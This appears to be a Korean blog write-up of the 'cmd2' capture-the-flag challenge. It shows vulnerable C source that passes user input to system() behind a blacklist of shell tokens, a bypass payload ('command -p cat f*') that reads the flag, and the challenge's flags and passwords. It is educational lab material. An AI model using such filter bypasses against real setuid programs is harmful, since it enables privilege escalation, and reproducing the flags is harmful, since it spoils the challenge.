콘텐츠로 건너뛰기

cmd2

Description

Daddy bought me a system command shell.
but he put some filters to prevent me from playing with it without his permission...
but I wanna play anytime I want!

ssh [email protected] -p2222 (pw:flag of cmd1)
pw: PATH_environment?_Now_I_really_g3t_it,_mommy!

Source Code

모든 환경 변수를 지워버리고, putenv("PATH=/no_command_execution_until_you_become_a_hacker"); 코드로 PATH 환경 변수를 제한된 값으로 설정하고, filter 함수에서 명령어 내에 "=", "PATH", "export", "/", "“flag”` 같은 문자열이 있으면 실행을 중단시킨다.

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
	int r=0;
	r += strstr(cmd, "=")!=0;
	r += strstr(cmd, "PATH")!=0;
	r += strstr(cmd, "export")!=0;
	r += strstr(cmd, "/")!=0;
	r += strstr(cmd, "`")!=0;
	r += strstr(cmd, "flag")!=0;
	return r;
}

extern char** environ;
void delete_env(){
	char** p;
	for(p=environ; *p; p++)	memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
	delete_env();
	putenv("PATH=/no_command_execution_until_you_become_a_hacker");
	if(filter(argv[1])) return 0;
	printf("%s\n", argv[1]);
	setregid(getegid(), getegid());
	system( argv[1] );
	return 0;
}

Solution

다양한 방법이 있겠지만, 간단하게 PATH 환경변수 상관없이 command 명령어를 통해 우회할 수 있었다.

Result

cmd2@ubuntu:~$ ./cmd2 'command -p cat f*'
command -p cat f*
Shell_variables_can_be_quite_fun_to_play_with!
태그: